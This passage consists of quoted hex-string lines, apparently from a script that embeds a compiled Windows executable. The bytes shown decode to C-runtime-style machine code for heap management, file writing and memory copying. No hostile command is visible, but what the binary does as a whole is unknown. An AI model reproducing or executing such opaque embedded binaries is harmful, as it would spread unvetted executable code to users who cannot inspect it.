'd859485dc38bff565733ff8db760ec4000ff36e81ec5ffff83c70459890683ff2872e8' \
'5f5ec36a0868e0c64000e836d1ffffe803c8ffff8b407885c074168365fc00ffd0eb07' \
'33c040c38b65e8c745fcfeffffffe86d340000e84fd1ffffc368a6594000e8cdc4ffff' \
'59a390fb4000c38bff558bec8b4508a394fb4000a398fb4000a39cfb4000a3a0fb4000' \
'5dc38bff558bec8b45088b0d2ce0400056395004740f8bf16bf60c03750883c00c3bc6' \
'72ec6bc90c034d085e3bc17305395004740233c05dc3ff359cfb4000e8e1c4ffff59c3' \
'6a206800c74000e88ad0ffff33ff897de4897dd88b5d0883fb0b7f4c74158bc36a0259' \
'2bc174222bc174082bc174642bc17544e8b7c6ffff8bf8897dd885ff751483c8ffe961' \
'010000be94fb4000a194fb4000eb60ff775c8bd3e85dffffff8bf083c6088b06eb5a8b' \
'c383e80f743c83e806742b48741ce850d2ffffc7001600000033c05050505050e82bd5' \
'ffff83c414ebaebe9cfb4000a19cfb4000eb16be98fb4000a198fb4000eb0abea0fb40' \
'00a1a0fb4000c745e40100000050e81dc4ffff8945e05933c0837de0010f84d8000000' \
'3945e075076a03e8d3cdffff3945e4740750e8d1f2ffff5933c08945fc83fb08740a83' \
'fb0b740583fb04751b8b4f60894dd489476083fb0875408b4f64894dd0c747648c0000' \
'0083fb08752e8b0d20e04000894ddc8b0d24e040008b1520e0400003ca394ddc7d198b' \
'4ddc6bc90c8b575c89441108ff45dcebdbe885c3ffff8906c745fcfeffffffe8150000' \
'0083fb08751fff776453ff55e059eb198b5d088b7dd8837de40074086a00e85ff1ffff' \
'59c353ff55e05983fb08740a83fb0b740583fb0475118b45d489476083fb0875068b45' \
'd089476433c0e82ccfffffc38bff558bec8b4508a3a8fb40005dc38bff558bec8b4508' \
'a3b4fb40005dc38bff558bec8b4508a3b8fb40005dc36a106820c74000e8adceffff83' \
'65fc00ff750cff7508ff1530b140008945e4eb2f8b45ec8b008b008945e033c93d1700' \
'00c00f94c18bc1c38b65e8817de0170000c075086a08ff15c0b040008365e400c745fc' \
'feffffff8b45e4e89fceffffc38bff558bec8b4508a3bcfb40005dc38bff558becff35' \
'bcfb4000e883c2ffff5985c0740fff7508ffd05985c0740533c0405dc333c05dc3cccc' \
'5356578b5424108b4424148b4c2418555250515168585d400064ff3500000000a100e0' \
'400033c489442408648925000000008b4424308b58088b4c242c33198b700c83fefe74' \
'3b8b54243483fafe74043bf2762e8d34768d5cb3108b0b89480c837b040075cc680101' \
'00008b4308e83a330000b9010000008b4308e84c330000ebb0648f050000000083c418' \
'5f5e5bc38b4c2404f7410406000000b80100000074338b4424088b480833c8e8f2baff' \
'ff558b6818ff700cff7010ff7014e83effffff83c40c5d8b4424088b5424108902b803' \
'000000c3558b4c24088b29ff711cff7118ff7128e815ffffff83c40c5dc20400555657' \
'538bea33c033db33d233f633ffffd15b5f5e5dc38bea8bf18bc16a01e89732000033c0' \
'33db33c933d233ffffe6558bec5356576a006a0068ff5d400051e8bf4500005f5e5b5d' \
'c3558b6c24085251ff742414e8b4feffff83c40c5dc208008bff558bec8b0da0fc4000' \
'a1a4fc40006bc91403c8eb118b55082b500c81fa00001000720983c0143bc172eb33c0' \
'5dc38bff558bec83ec108b4d088b4110568b750c578bfe2b790c83c6fcc1ef0f8bcf69' \
'c9040200008d8c0144010000894df08b0e49894dfcf6c1010f85d3020000538d1c318b' \
'138955f48b56fc8955f88b55f4895d0cf6c2017574c1fa044a83fa3f76036a3f5a8b4b' \
'043b4b087542bb0000008083fa2073198bcad3eb8d4c0204f7d3215cb844fe0975238b' \
'4d082119eb1c8d4ae0d3eb8d4c0204f7d3219cb8c4000000fe0975068b4d082159048b' \
'5d0c8b53088b5b048b4dfc034df4895a048b550c8b5a048b5208895308894dfc8bd1c1' \
'fa044a83fa3f76036a3f5a8b5df883e301895df40f858f0000002b75f88b5df8c1fb04' \
'6a3f89750c4b5e3bde76028bde034df88bd1c1fa044a894dfc3bd676028bd63bda745e' \
'8b4d0c8b71043b7108753bbe0000008083fb2073178bcbd3eef7d62174b844fe4c0304' \
'75218b4d082131eb1a8d4be0d3eef7d621b4b8c4000000fe4c030475068b4d08217104' \
'8b4d0c8b71088b4904894e048b4d0c8b71048b4908894e088b750ceb038b5d08837df4' \
'0075083bda0f84800000008b4df08d0cd18b5904894e08895e048971048b4e04897108' \
'8b4e043b4e0875608a4c0204884d0ffec1884c020483fa207325807d0f00750e8bcabb' \
'00000080d3eb8b4d080919bb000000808bcad3eb8d44b8440918eb29807d0f0075108d' \
'4ae0bb00000080d3eb8b4d080959048d4ae0ba00000080d3ea8d84b8c400000009108b' \
'45fc8906894430fc8b45f0ff080f85f3000000a1c0fb400085c00f84d80000008b0db4' \
'fc40008b350cb140006800400000c1e10f03480cbb008000005351ffd68b0db4fc4000' \
'a1c0fb4000ba00000080d3ea095008a1c0fb40008b40108b0db4fc400083a488c40000' \
'0000a1c0fb40008b4010fe4843a1c0fb40008b4810807943007509836004fea1c0fb40' \
'00837808ff7565536a00ff700cffd6a1c0fb4000ff70106a00ff35fcf94000ff15d0b0' \
'40008b0da0fc4000a1c0fb40006bc9148b15a4fc40002bc88d4c11ec518d48145150e8' \
'742f00008b450883c40cff0da0fc40003b05c0fb40007604836d0814a1a4fc4000a3ac' \
'fc40008b4508a3c0fb4000893db4fc40005b5f5ec9c3a1b0fc4000568b35a0fc400057' \
'33ff3bf0753483c0106bc01450ff35a4fc400057ff35fcf94000ff1540b140003bc775' \
'0433c0eb788305b0fc4000108b35a0fc4000a3a4fc40006bf6140335a4fc400068c441' \
'00006a08ff35fcf94000ff1538b140008946103bc774c76a0468002000006800001000' \
'57ff153cb1400089460c3bc77512ff761057ff35fcf94000ff15d0b04000eb9b834e08' \
'ff893e897e04ff05a0fc40008b46108308ff8bc65f5ec38bff558bec51518b4d088b41' \
'0853568b71105733dbeb0303c04385c07df98bc369c0040200008d8430440100006a3f' \
'8945f85a89400889400483c0084a75f46a048bfb6800100000c1e70f03790c68008000' \
'0057ff153cb1400085c0750883c8ffe99d0000008d97007000008955fc3bfa77438bca' \
'2bcfc1e90c8d4710418348f8ff8388ec0f0000ff8d90fc0f000089108d90fcefffffc7' \
'40fcf00f0000895004c780e80f0000f00f000005001000004975cb8b55fc8b45f805f8' \
'0100008d4f0c8948048941088d4a0c89480889410483649e440033ff4789bc9ec40000' \
'008a46438ac8fec184c08b4508884e437503097804ba000000808bcbd3eaf7d2215008' \
'8bc35f5e5bc9c38bff558bec83ec0c8b4d088b411053568b7510578b7d0c8bd72b510c' \
'83c617c1ea0f8bca69c9040200008d8c0144010000894df48b4ffc83e6f0493bf18d7c' \
'39fc8b1f894d10895dfc0f8e55010000f6c3010f854501000003d93bf30f8f3b010000' \
'8b4dfcc1f90449894df883f93f76066a3f59894df88b5f043b5f087543bb0000008083' \
'f920731ad3eb8b4df88d4c0104f7d3215c9044fe0975268b4d082119eb1f83c1e0d3eb' \
'8b4df88d4c0104f7d3219c90c4000000fe0975068b4d082159048b4f088b5f04895904' \
'8b4f048b7f088979088b4d102bce014dfc837dfc000f8ea50000008b7dfc8b4d0cc1ff' \
'044f8d4c31fc83ff3f76036a3f5f8b5df48d1cfb895d108b5b048959048b5d10895908' \
'894b048b5904894b088b59043b590875578a4c0704884d13fec1884c070483ff20731c' \
'807d1300750e8bcfbb00000080d3eb8b4d0809198d4490448bcfeb20807d130075108d' \
'4fe0bb00000080d3eb8b4d080959048d8490c40000008d4fe0ba00000080d3ea09108b' \
'550c8b4dfc8d4432fc8908894c01fceb038b550c8d46018942fc894432f8e93c010000' \
'33c0e9380100000f8d2f0100008b5d0c2975108d4e01894bfc8d5c33fc8b7510c1fe04' \
'4e895d0c894bfc83fe3f76036a3f5ef645fc010f85800000008b75fcc1fe044e83fe3f' \
'76036a3f5e8b4f043b4f087542bb0000008083fe2073198bced3eb8d740604f7d3215c' \
'9044fe0e75238b4d082119eb1c8d4ee0d3eb8d4c0604f7d3219c90c4000000fe097506' \
'8b4d082159048b5d0c8b4f088b77048971048b77088b4f048971088b75100375fc8975' \
'10c1fe044e83fe3f76036a3f5e8b4df48d0cf18b7904894b08897b048959048b4b0489' \
'59088b4b043b4b0875578a4c0604884d0ffec1884c060483fe20731c807d0f00750e8b' \
'cebf00000080d3ef8b4d0809398d4490448bceeb20807d0f0075108d4ee0bf00000080' \
'd3ef8b4d080979048d8490c40000008d4ee0ba00000080d3ea09108b45108903894418' \
'fc33c0405f5e5bc9c38bff558bec83ec14a1a0fc40008b4d086bc0140305a4fc400083' \
'c11783e1f0894df0c1f904534983f92056577d0b83ceffd3ee834df8ffeb0d83c1e083' \
'caff33f6d3ea8955f88b0dacfc40008bd9eb118b53048b3b2355f823fe0bd7750a83c3' \
'14895d083bd872e83bd8757f8b1da4fc4000eb118b53048b3b2355f823fe0bd7750a83' \
'c314895d083bd972e83bd9755beb0c837b0800750a83c314895d083bd872f03bd87531' \
'8b1da4fc4000eb09837b0800750a83c314895d083bd972f03bd97515e8a0faffff8bd8' \
'895d0885db750733c0e90902000053e83afbffff598b4b1089018b43108338ff74e589' \
'1dacfc40008b43108b108955fc83faff74148b8c90c40000008b7c9044234df823fe0b' \
'cf75298365fc008b90c40000008d48448b392355f823fe0bd7750eff45fc8b91840000' \
'0083c104ebe78b55fc8bca69c9040200008d8c0144010000894df48b4c904433ff23ce' \
'75128b8c90c4000000234df86a205feb0303c94785c97df98b4df48b54f9048b0a2b4d' \
'f08bf1c1fe044e83fe3f894df87e036a3f5e3bf70f84010100008b4a043b4a08755c83' \
'ff20bb000000807d268bcfd3eb8b4dfc8d7c3804f7d3895dec235c8844895c8844fe0f' \
'75338b4dec8b5d08210beb2c8d4fe0d3eb8b4dfc8d8c88c40000008d7c3804f7d32119' \
'fe0f895dec750b8b5d088b4dec214b04eb038b5d08837df8008b4a088b7a048979048b' \
'4a048b7a088979080f848d0000008b4df48d0cf18b7904894a08897a048951048b4a04' \
'8951088b4a043b4a08755e8a4c0604884d0bfec183fe20884c06047d23807d0b00750b' \
'bf000000808bced3ef093b8bcebf00000080d3ef8b4dfc097c8844eb29807d0b00750d' \
'8d4ee0bf00000080d3ef097b048b4dfc8dbc88c40000008d4ee0be00000080d3ee0937' \
'8b4df885c9740b890a894c11fceb038b4df88b75f003d18d4e01890a894c32fc8b75f4' \
'8b0e8d7901893e85c9751a3b1dc0fb400075128b4dfc3b0db4fc400075078325c0fb40' \
'00008b4dfc89088d42045f5e5bc9c36a0c6840c74000e8fdc1ffff8365e4008b75083b' \
'35a8fc400077226a04e80be5ffff598365fc0056e8eefcffff598945e4c745fcfeffff' \
'ffe8090000008b45e4e809c2ffffc36a04e806e4ffff59c38bff558bec568b750883fe' \
'e00f87a100000053578b3d38b14000833dfcf94000007518e829dbffff6a1ee877d9ff' \
'ff68ff000000e86abdffff5959a1bcfc400083f801750e85f674048bc6eb0333c04050' \
'eb1c83f803750b56e853ffffff5985c0751685f675014683c60f83e6f0566a00ff35fc' \
'f94000ffd78bd885db752e6a0c5e3905e4fb40007415ff7508e8def2ffff5985c0740f' \
'8b7508e97bffffffe84cc3ffff8930e845c3ffff89305f8bc35beb1456e8b7f2ffff59' \
'e831c3ffffc7000c00000033c05e5dc36a0c6860c74000e8e4c0ffff8b4d0833ff3bcf' \
'762e6ae05833d2f7f13b450c1bc040751fe8fdc2ffffc7000c0000005757575757e8da' \
'c5ffff83c41433c0e9d50000000faf4d0c8bf18975083bf7750333f64633db895de483' \
'fee07769833dbcfc400003754b83c60f83e6f089750c8b45083b05a8fc400077376a04' \
'e893e3ffff59897dfcff7508e875fbffff598945e4c745fcfeffffffe85f0000008b5d' \
'e43bdf7411ff75085753e8dab0ffff83c40c3bdf7561566a08ff35fcf94000ff1538b1' \
'40008bd83bdf754c393de4fb4000743356e8cef1ffff5985c00f8572ffffff8b45103b' \
'c70f8450ffffffc7000c000000e945ffffff33ff8b750c6a04e837e2ffff59c33bdf75' \
'0d8b45103bc77406c7000c0000008bc3e818c0ffffc36a106880c74000e8c6bfffff8b' \
'5d0885db750eff750ce8fdfdffff59e9cc0100008b750c85f6750c53e823c2ffff59e9' \
'b7010000833dbcfc4000030f859301000033ff897de483fee00f878a0100006a04e8a0' \
'e2ffff59897dfc53e8a5f2ffff598945e03bc70f849e0000003b35a8fc400077495653' \
'50e887f7ffff83c40c85c07405895de4eb3556e856faffff598945e43bc774278b43fc' \
'483bc672028bc65053ff75e4e8e014000053e855f2ffff8945e05350e87bf2ffff83c4' \
'18397de475483bf7750633f64689750c83c60f83e6f089750c5657ff35fcf94000ff15' \
'38b140008945e43bc774208b43fc483bc672028bc65053ff75e4e88c14000053ff75e0' \
'e82ef2ffff83c414c745fcfeffffffe82e000000837de000753185f675014683c60f83' \
'e6f089750c56536a00ff35fcf94000ff1540b140008bf8eb128b750c8b5d086a04e8d1' \
'e0ffff59c38b7de485ff0f85bf000000393de4fb4000742c56e822f0ffff5985c00f85' \
'd2feffffe894c0ffff397de0756c8bf0ff1580b0400050e83fc0ffff598906eb5f85ff' \
'0f8583000000e86fc0ffff397de07468c7000c000000eb7185f675014656536a00ff35' \
'fcf94000ff1540b140008bf885ff75563905e4fb4000743456e8b9efffff5985c0741f' \
'83fee076cd56e8a9efffff59e823c0ffffc7000c00000033c0e825beffffc3e810c0ff' \
'ffe97cffffff85ff7516e802c0ffff8bf0ff1580b0400050e8b2bfffff8906598bc7eb' \
'd26a1068a0c74000e8abbdffff33db895de46a01e8c3e0ffff59895dfc6a035f897de0' \
'3b3d000e41007d578bf7c1e602a1e4fd400003c6391874448b00f6400c83740f50e803' \
'2700005983f8ff7403ff45e483ff147c28a1e4fd40008b040683c02050ff1504b14000' \
'a1e4fd4000ff3406e8c1bfffff59a1e4fd4000891c0647eb9ec745fcfeffffffe80900' \
'00008b45e4e867bdffffc36a01e864dfffff59c38bff558bec53568b75088b460c8bc8' \
'80e10333db80f9027540a90801000074398b4608578b3e2bf885ff7e2c575056e8c301' \
'00005950e8bb0d000083c40c3bc7750f8b460c84c0790f83e0fd89460ceb07834e0c20' \
'83cbff5f8b46088366040089065e8bc35b5dc38bff558bec568b750885f6750956e835' \
'00000059eb2f56e87cffffff5985c0740583c8ffeb1ff7460c00400000741456e85a01' \
'000050e88526000059f7d8591bc0eb0233c05e5dc36a1468c0c74000e85cbcffff33ff' \
'897de4897ddc6a01e871dfffff59897dfc33f68975e03b35000e41000f8d83000000a1' \
'e4fd40008d04b03938745e8b00f6400c8374565056e87ec2ffff595933d2428955fca1' \
'e4fd40008b04b08b480cf6c183742f395508751150e84affffff5983f8ff741eff45e4' \
'eb19397d087514f6c102740f50e82fffffff5983f8ff75030945dc897dfce808000000' \
'46eb8433ff8b75e0a1e4fd4000ff34b056e887c2ffff5959c3c745fcfeffffffe81200' \
'0000837d08018b45e474038b45dce8ddbbffffc36a01e8daddffff59c36a01e81fffff' \
'ff59c38bff558bec8b450883f8fe750fe8a9bdffffc7000900000033c05dc35633f63b' \
'c67c083b05c0fc4000721ce88bbdffff5656565656c70009000000e868c0ffff83c414' \
'33c0eb1a8bc883e01fc1f9058b0c8de0fc4000c1e0060fbe44010483e0405e5dc38bff' \
'558bec8b45085633f63bc6751de843bdffff5656565656c70016000000e820c0ffff83' \
'c41483c8ffeb038b40105e5dc3cccccccccccccc8b4c2404f7c10300000074248a0183' \
'c10184c0744ef7c10300000075ef05000000008da424000000008da424000000008b01' \
'bafffefe7e03d083f0ff33c283c104a90001018174e88b41fc84c0743284e47424a900' \
'00ff007413a9000000ff7402ebcd8d41ff8b4c24042bc1c38d41fe8b4c24042bc1c38d' \
'41fd8b4c24042bc1c38d41fc8b4c24042bc1c38bff558bec83ec1053568b750c33db57' \
'8b7d103bf375143bfb76108b45083bc37402891833c0e9830000008b45083bc3740383' \
'08ff81ffffffff7f761be851bcffff6a165e53535353538930e82fbfffff83c4148bc6' \
'eb56ff75188d4df0e8c8c1ffff8b45f03958140f859c000000668b4514b9ff00000066' \
'3bc176363bf3740f3bfb760b575356e868aaffff83c40ce8febbffffc7002a000000e8' \
'f3bbffff8b00385dfc74078b4df8836170fd5f5e5bc9c33bf374323bfb772ce8d3bbff' \
'ff6a225e53535353538930e8b1beffff83c414385dfc0f8479ffffff8b45f8836070fd' \
'e96dffffff88068b45083bc37406c70001000000385dfc0f8425ffffff8b45f8836070' \
'fde919ffffff8d4d0c515357566a018d4d145153895d0cff7004ff15f0b040003bc374' \
'14395d0c0f855effffff8b4d083bcb74bd8901ebb9ff1580b0400083f87a0f8544ffff' \
'ff3bf30f8467ffffff3bfb0f865fffffff575356e891a9ffff83c40ce94fffffff8bff' \
'558bec6a00ff7514ff7510ff750cff7508e87cfeffff83c4145dc38bff558bec83ec10' \
'ff750c8d4df0e88fc0ffff0fb645088b4df08b89c80000000fb704412500800000807d' \
'fc0074078b4df8836170fdc9c38bff558bec6a00ff7508e8b9ffffff59595dc3cc568b' \
'4424140bc075288b4c24108b44240c33d2f7f18bd88b442408f7f18bf08bc3f7642410' \
'8bc88bc6f764241003d1eb478bc88b5c24108b54240c8b442408d1e9d1dbd1ead1d80b' \
'c975f4f7f38bf0f76424148bc88b442410f7e603d1720e3b54240c7708720f3b442408' \
'76094e2b4424101b54241433db2b4424081b54240cf7daf7d883da008bca8bd38bd98b' \
'c88bc65ec210008bff558bec51518b450c568b75088945f88b451057568945fce8a625' \
'000083cfff593bc77511e8feb9ffffc700090000008bc78bd7eb4aff75148d4dfc51ff' \
'75f850ff1544b140008945f83bc77513ff1580b0400085c0740950e8f0b9ffff59ebcf' \
'8bc6c1f8058b0485e0fc400083e61fc1e6068d4430048020fd8b45f88b55fc5f5ec9c3' \
'6a1468e8c74000e862b7ffff83ceff8975dc8975e08b450883f8fe751ce895b9ffff83' \
'2000e87ab9ffffc700090000008bc68bd6e9d000000033ff3bc77c083b05c0fc400072' \
'21e86bb9ffff8938e851b9ffffc700090000005757575757e82ebcffff83c414ebc88b' \
'c8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b0fbe4c310483e1017526e82ab9ff' \
'ff8938e810b9ffffc700090000005757575757e8edbbffff83c41483caff8bc2eb5b50' \
'e80225000059897dfc8b03f644300401741cff7514ff7510ff750cff7508e8a9feffff' \
'83c4108945dc8955e0eb1ae8c2b8ffffc70009000000e8cab8ffff8938834ddcff834d' \
'e0ffc745fcfeffffffe80c0000008b45dc8b55e0e8a5b6ffffc3ff7508e83f25000059' \
'c38bff558becb8e41a0000e85ea7ffffa100e0400033c58945fc8b450c5633f6898534' \
'e5ffff89b538e5ffff89b530e5ffff397510750733c0e9e90600003bc67527e858b8ff' \
'ff8930e83eb8ffff5656565656c70016000000e81bbbffff83c41483c8ffe9be060000' \
'53578b7d088bc7c1f8058d3485e0fc40008b0683e71fc1e70603c78a582402dbd0fb89' \
'b528e5ffff889d27e5ffff80fb02740580fb0175308b4d10f7d1f6c1017526e8efb7ff' \
'ff33f68930e8d3b7ffff5656565656c70016000000e8b0baffff83c414e943060000f6' \
'40042074116a026a006a00ff7508e87efdffff83c410ff7508e8e1f9ffff5985c00f84' \
'9d0200008b06f6440704800f8490020000e81dacffff8b406c33c93948148d851ce5ff' \
'ff0f94c1508b06ff3407898d20e5ffffff154cb1400085c00f846002000033c9398d20' \
'e5ffff740884db0f8450020000ff1548b140008b9d34e5ffff89851ce5ffff33c08985' \
'3ce5ffff3945100f8642050000898544e5ffff8a8527e5ffff84c00f85670100008a0b' \
'8bb528e5ffff33c080f90a0f94c0898520e5ffff8b0603c78378380074158a50348855' \
'f4884df5836038006a028d45f450eb4b0fbec150e8fdfbffff5985c0743a8b8d34e5ff' \
'ff2bcb034d1033c0403bc80f86a50100006a028d8540e5ffff5350e85a25000083c40c' \
'83f8ff0f84b104000043ff8544e5ffffeb1b6a01538d8540e5ffff50e83625000083c4' \
'0c83f8ff0f848d04000033c050506a058d4df4516a018d8d40e5ffff5150ffb51ce5ff' \
'ff43ff8544e5ffffff15f0b040008bf085f60f845c0400006a008d853ce5ffff50568d' \
'45f4508b8528e5ffff8b00ff3407ff153cb0400085c00f84290400008b8544e5ffff8b' \
'8d30e5ffff03c139b53ce5ffff898538e5ffff0f8c1504000083bd20e5ffff000f84cd' \
'0000006a008d853ce5ffff506a018d45f4508b8528e5ffff8b00c645f40dff3407ff15' \
'3cb0400085c00f84d003000083bd3ce5ffff010f8ccf030000ff8530e5ffffff8538e5' \
'ffffe9830000003c0174043c0275210fb73333c96683fe0a0f94c14343838544e5ffff' \
'0289b540e5ffff898d20e5ffff3c0174043c027552ffb540e5ffffe84322000059663b' \
'8540e5ffff0f8568030000838538e5ffff0283bd20e5ffff0074296a0d5850898540e5' \
'ffffe81622000059663b8540e5ffff0f853b030000ff8538e5ffffff8530e5ffff8b45' \
'10398544e5ffff0f82f9fdffffe9270300008b0e8a13ff8538e5ffff88540f348b0e89' \
'440f38e90e03000033c98b0603c7f64004800f84bf0200008b8534e5ffff898d40e5ff' \
'ff84db0f85ca00000089853ce5ffff394d100f8620030000eb068bb528e5ffff8b8d3c' \
'e5ffff83a544e5ffff002b8d34e5ffff8d8548e5ffff3b4d1073398b953ce5ffffff85' \
'3ce5ffff8a124180fa0a7510ff8530e5ffffc6000d40ff8544e5ffff881040ff8544e5' \
'ffff81bd44e5ffffff13000072c28bd88d8548e5ffff2bd86a008d852ce5ffff50538d' \
'8548e5ffff508b06ff3407ff153cb0400085c00f84420200008b852ce5ffff018538e5' \
'ffff3bc30f8c3a0200008b853ce5ffff2b8534e5ffff3b45100f824cffffffe9200200' \
'00898544e5ffff80fb020f85d1000000394d100f864d020000eb068bb528e5ffff8b8d' \
'44e5ffff83a53ce5ffff002b8d34e5ffff8d8548e5ffff3b4d1073468b9544e5ffff83' \
'8544e5ffff020fb71241416683fa0a7516838530e5ffff026a0d5b668918404083853c' \
'e5ffff0283853ce5ffff02668910404081bd3ce5fffffe13000072b58bd88d8548e5ff' \
'ff2bd86a008d852ce5ffff50538d8548e5ffff508b06ff3407ff153cb0400085c00f84' \
'620100008b852ce5ffff018538e5ffff3bc30f8c5a0100008b8544e5ffff2b8534e5ff' \
'ff3b45100f823fffffffe940010000394d100f867c0100008b8d44e5ffff83a53ce5ff' \
'ff002b8d34e5ffff6a028d8548f9ffff5e3b4d10733c8b9544e5ffff0fb71201b544e5' \
'ffff03ce6683fa0a750e6a0d5b66891803c601b53ce5ffff01b53ce5ffff66891003c6' \
'81bd3ce5ffffa806000072bf33f6565668550d00008d8df0ebffff518d8d48f9ffff2b' \
'c1992bc2d1f8508bc1505668e9fd0000ff15f0b040008bd83bde0f84970000006a008d' \
'852ce5ffff508bc32bc6508d8435f0ebffff508b8528e5ffff8b00ff3407ff153cb040' \
'0085c0740c03b52ce5ffff3bde7fcbeb0cff1580b04000898540e5ffff3bde7f5c8b85' \
'44e5ffff2b8534e5ffff898538e5ffff3b45100f820affffffeb3f6a008d8d2ce5ffff' \
'51ff7510ffb534e5ffffff30ff153cb0400085c074158b852ce5ffff83a540e5ffff00' \
'898538e5ffffeb0cff1580b04000898540e5ffff83bd38e5ffff00756c83bd40e5ffff' \
'00742d6a055e39b540e5ffff7514e8c6b1ffffc70009000000e8ceb1ffff8930eb3fff' \
'b540e5ffffe8d2b1ffff59eb318bb528e5ffff8b06f644070440740f8b8534e5ffff80' \
'381a750433c0eb24e886b1ffffc7001c000000e88eb1ffff83200083c8ffeb0c8b8538' \
'e5ffff2b8530e5ffff5f5b8b4dfc33cd5ee8a69cffffc9c36a106808c84000e816afff' \
'ff8b450883f8fe751be852b1ffff832000e837b1ffffc7000900000083c8ffe99d0000' \
'0033ff3bc77c083b05c0fc40007221e829b1ffff8938e80fb1ffffc700090000005757' \
'575757e8ecb3ffff83c414ebc98bc8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b' \
'0fbe4c310483e10174bf50e8e61c000059897dfc8b03f6443004017416ff7510ff750c' \
'ff7508e82ef8ffff83c40c8945e4eb16e8acb0ffffc70009000000e8b4b0ffff893883' \
'4de4ffc745fcfeffffffe8090000008b45e4e896aeffffc3ff7508e8301d000059c38b' \
'ff558becff05c8f540006800100000e83eb1ffff598b4d0889410885c0740d83490c08' \
'c7411800100000eb1183490c048d4114894108c74118020000008b4108836104008901' \
'5dc38bff558bec83ec14535657e82da2ffff8365fc00833dc4fb4000008bd80f858e00' \
'000068f0ba4000ff152cb140008bf885ff0f842a0100008b35acb0400068e4ba400057' \
'ffd685c00f841401000050e877a1ffffc70424d4ba400057a3c4fb4000ffd650e862a1' \
'ffffc70424c0ba400057a3c8fb4000ffd650e84da1ffffc70424a4ba400057a3ccfb40' \
'00ffd650e838a1ffff59a3d4fb400085c07414688cba400057ffd650e820a1ffff59a3' \
'd0fb4000a1d0fb40003bc3744f391dd4fb4000744750e87ea1ffffff35d4fb40008bf0' \
'e871a1ffff59598bf885f6742c85ff7428ffd685c074198d4df8516a0c8d4dec516a01' \
'50ffd785c07406f645f4017509814d1000002000eb39a1c8fb40003bc3743050e82ea1' \
'ffff5985c07425ffd08945fc85c0741ca1ccfb40003bc3741350e811a1ffff5985c074' \
'08ff75fcffd08945fcff35c4fb4000e8f9a0ffff5985c07410ff7510ff750cff7508ff' \
'75fcffd0eb0233c05f5e5bc9c38bff558bec8b45085333db56573bc374078b7d0c3bfb' \
'771be8adaeffff6a165e89305353535353e88bb1ffff83c4148bc6eb3c8b75103bf375' \
'048818ebda8bd0381a7404424f75f83bfb74ee8a0e880a42463acb74034f75f33bfb75' \
'108818e866aeffff6a225989088bf1ebb533c05f5e5b5dc38bff558bec53568b750833' \
'db57395d1475103bf37510395d0c751233c05f5e5b5dc33bf374078b7d0c3bfb771be8' \
'24aeffff6a165e89305353535353e802b1ffff83c4148bc6ebd5395d147504881eebca' \
'8b55103bd37504881eebd1837d14ff8bc6750f8a0a880840423acb741e4f75f3eb198a' \
'0a880840423acb74084f7405ff4d1475ee395d14750288183bfb758b837d14ff750f8b' \
'450c6a50885c06ff58e978ffffff881ee8aaadffff6a225989088bf1eb828bff558bec' \
'8b4d085333db56573bcb74078b7d0c3bfb771be884adffff6a165e89305353535353e8' \
'62b0ffff83c4148bc6eb308b75103bf375048819ebda8bd18a06880242463ac374034f' \
'75f33bfb75108819e849adffff6a225989088bf1ebc133c05f5e5b5dc3cc8bff558bec' \
'8b4d085633f63bce7c1e83f9027e0c83f9037514a150f24000eb28a150f24000890d50' \
'f24000eb1be806adffff5656565656c70016000000e8e3afffff83c41483c8ff5e5dc3' \
'8bff558bec83ec10ff75088d4df0e872b2ffff0fb6450c8b4df48a55148454011d751e' \
'837d100074128b4df08b89c80000000fb70441234510eb0233c085c0740333c040807d' \
'fc0074078b4df8836170fdc9c38bff558bec6a046a00ff75086a00e89affffff83c410' \
'5dc3cccccccc558bec57568b750c8b4d108b7d088bc18bd103c63bfe76083bf80f82a4' \
'01000081f900010000721f833de0fd4000007416575683e70f83e60f3bfe5e5f75085e' \
'5f5de98d1b0000f7c7030000007515c1e90283e20383f908722af3a5ff249514824000' \
'908bc7ba0300000083e904720c83e00303c8ff248528814000ff248d2482400090ff24' \
'8da88140009038814000648140008881400023d18a0688078a46018847018a4602c1e9' \
'0288470283c60383c70383f90872ccf3a5ff2495148240008d490023d18a0688078a46' \
'01c1e90288470183c60283c70283f90872a6f3a5ff2495148240009023d18a06880783' \
'c601c1e90283c70183f9087288f3a5ff2495148240008d49000b824000f8814000f081' \
'4000e8814000e0814000d8814000d0814000c88140008b448ee489448fe48b448ee889' \
'448fe88b448eec89448fec8b448ef089448ff08b448ef489448ff48b448ef889448ff8' \
'8b448efc89448ffc8d048d0000000003f003f8ff2495148240008bff248240002c8240' \
'00388240004c8240008b45085e5fc9c3908a0688078b45085e5fc9c3908a0688078a46' \
'018847018b45085e5fc9c38d49008a0688078a46018847018a46028847028b45085e5f' \
'c9c3908d7431fc8d7c39fcf7c7030000007524c1e90283e20383f908720dfdf3a5fcff' \
'2495b08340008bfff7d9ff248d608340008d49008bc7ba0300000083f904720c83e003' \
'2bc8ff2485b4824000ff248db083400090c4824000e8824000108340008a460323d188' \
'470383ee01c1e90283ef0183f90872b2fdf3a5fcff2495b08340008d49008a460323d1' \
'8847038a4602c1e90288470283ee0283ef0283f9087288fdf3a5fcff2495b083400090' \
'8a460323d18847038a46028847028a4601c1e90288470183ee0383ef0383f9080f8256' \
'fffffffdf3a5fcff2495b08340008d4900648340006c834000748340007c8340008483' \
'40008c83400094834000a78340008b448e1c89448f1c8b448e1889448f188b448e1489' \
'448f148b448e1089448f108b448e0c89448f0c8b448e0889448f088b448e0489448f04' \
'8d048d0000000003f003f8ff2495b08340008bffc0834000c8834000d8834000ec8340' \
'008b45085e5fc9c3908a46038847038b45085e5fc9c38d49008a46038847038a460288' \
'47028b45085e5fc9c3908a46038847038a46028847028a46018847018b45085e5fc9c3' \
'8bff558bec568b750885f60f8481010000ff7604e849a9ffffff7608e841a9ffffff76' \
'0ce839a9ffffff7610e831a9ffffff7614e829a9ffffff7618e821a9ffffff36e81aa9' \
'ffffff7620e812a9ffffff7624e80aa9ffffff7628e802a9ffffff762ce8faa8ffffff' \
'7630e8f2a8ffffff7634e8eaa8ffffff761ce8e2a8ffffff7638e8daa8ffffff763ce8' \
'd2a8ffff83c440ff7640e8c7a8ffffff7644e8bfa8ffffff7648e8b7a8ffffff764ce8' \
'afa8ffffff7650e8a7a8ffffff7654e89fa8ffffff7658e897a8ffffff765ce88fa8ff' \
'ffff7660e887a8ffffff7664e87fa8ffffff7668e877a8ffffff766ce86fa8ffffff76' \
'70e867a8ffffff7674e85fa8ffffff7678e857a8ffffff767ce84fa8ffff83c440ffb6' \
